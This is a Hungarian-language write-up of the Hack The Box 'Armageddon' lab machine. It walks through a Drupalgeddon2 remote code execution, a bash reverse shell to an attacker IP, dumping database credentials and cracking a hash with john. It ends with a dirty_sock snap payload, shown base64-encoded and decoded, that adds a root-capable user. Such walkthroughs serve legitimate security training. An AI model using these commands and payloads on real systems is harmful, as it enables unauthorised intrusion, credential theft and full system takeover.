HTB Armageddon Writeup


#HTB Writeup Hack Linux

2021 Oct 05: 17:30

Enumeráció

Első dolgunk egy nmap scant indítani. namp -sC -sV armageddon.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Miután böngészőben megynyitottuk a 80-as portot a wappalizer plugin segítségével látható, hogy ez egy CentOS-en futó Drupla7. Az exploit-db-n való keresgélés után találhatunk egy drupalgeddon2 névre hallgató exploitot. Ez egy python script, ami rosszúl működik. Debuggolás helyett alternatív megoldás után nézünk. Githubon lehet találni egy scriptet, ami drupalgeddon2 névre hallgat.

A Githubon talált drupalgeddon2 exploit használata a következő: python2 drupalgeddon2.py -h http://armageddon.htb/ -c whoami Ez a parancs a következő kimenetet adja: apache Ez azt jelenti, hogy apache ként tudunk kódot futtatni a gépen

Hozzáférés szerzés

Ennek az exploitálása a következő módon néz ki: Első a támadó gépen egy terminálba beírni a következő parancsot: rlwrap nc -lvnp 4444 Az rlwrap parancs használata ajánlott, de nem kötelező. Egy másik terminálban pedig a következő parancsot kell lefuttatni: python2 drupalgeddon2.py -h http://armageddon.htb/ -c bash -i >& /dev/tcp/10.10.14.230/4444 0>&1 A parancs végénél le kell cserélni az IP-t a sajátunkra és lefuttatni. Ez után látható a listeningen, hogy megjött a shell. A shell upgradelése az export TERM=xterm, majd a python3 -c 'import pty; pty.spawn(/bin/bash) parancsal történik.

Abban az esetben, ha ez nem működik ott a metasploit framework. Első elindítani az msfconsol-t az msfconsole -q parancsal. Következő az exploit kiválasztása. ezt a search drupalgeddon parancs után tehetjük meg. Egy opciót látunk és ezt a use 0 parancsal választhatjuk ki. Ez után 2 fontos paramétert kell beállítani az RHOST-ot illetve az LHOST-ot.

set RHOST 10.10.10.233
set LHOST tun0

Ez után fel kell töltenünk egy linpeas-t. Ezt az upload ~/hax/HTB/armageddon/linpeas.sh /dev/shm/linpeas.sh parancsal tesszük. Ezt követően lefuttatjuk és a user enumerációbol látható, hogy van egy másik user brucetherealadmin néven a rendszerben.

Kis keresgélés után találhatunk egy /var/www/html/sites/default/settings.php fájlt, ami tárolja az adatbáist és a credentiolöket. A mysql -u drupaluser --password=CQHEy@9M*m23gBVj drupal parancs beírása után prompt nélkül tudunk parancsot futtatni, viszont ez mindig kifagy, így a következő módon kell ezeket lefuttatnunk.

echo 'SHOW TABLES;' | mysql -u drupaluser --password=CQHEy@9M*m23gBVj drupal
echo 'SELECT * FROM users;' | mysql -u drupaluser --password=CQHEy@9M*m23gBVj drupal

Itt megkapjuk a jeszó hasht brucetherealadmin-hoz, amit a saját gépünkön kell megtörni john-al. Ehhez 2 parancsot kell lefuttatnunk: echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > brucetherealadmin.hash john brucetherealadmin.hash -w ~/hax/rockyou.txt

A kapott jeszó hasz pedig a booboo, amivel be tudunk lépnia weboldalra, de ezzel nem megyünk sokra, mivel ott nem tudunk semmit sem csinálni. Ezzel ellentétben viszont ezzel tudunk az ssh-ba is belépni.

PrivEsc

Miután beléptünk a sudo -l parancsal tudjuk ellenőrizni, hogy mihez van jogunk. (root) NOPASSWD: /usr/bin/snap install * Böngészés után találunk egy dirty_socks névre hallgató exploitot. A következő ennek a lefuttatása lesz.

python -c 'print aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw + A*4256 + ==' | base64 -d > /tmp/dirty_socks.snap

Ez a parancs decodeol egy base64-es szöveget és belepipeolja egy fájlba a /tmp mappában. A parancs így néz ki decodeolva:

hsqs!V\�������������>x#!/bin/bash

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo dirty_sock    ALL=(ALL:ALL) ALL >> /etc/sudoers
name: dirty-sock
version: '0.1'
summary: Empty snap, used for exploit
description: 'See https://github.com/initstring/dirty_sock

  '
architectures:
- amd64
confinement: devmode
grade: devel
�YZ��7zXZi�6�S�!�����K]j;n��Q�b3ʶ]I-�,����Hʭ�E��k�qj|��$l5K�(�y����#�Jq_ͼӡ�h�D��u������e�?U�V���þ�Xx�h#�?>0
�YZ8��<\���>��)

Ez létrehoz egy felhasználót, amivel be tudunk lépni rootba. Viszont előtte fel kell telepítenünk, amit a sudo snap install /tmp/dirty_socks.snap --dangerous --devmode parancsal teszünk meg. Végül a su dirty_socks parancs következik itt bekér egy felhasználót és egy jelszavat. mindkettő dirty_sock. És megvan root shellünk. Végül annyi dolgunk van, hogy a clear.sh illetve remove.sh fájlokat lefuttatjuk, hogy a többi játékosok maguktól oldják meg és ne a mi kódunkat használják.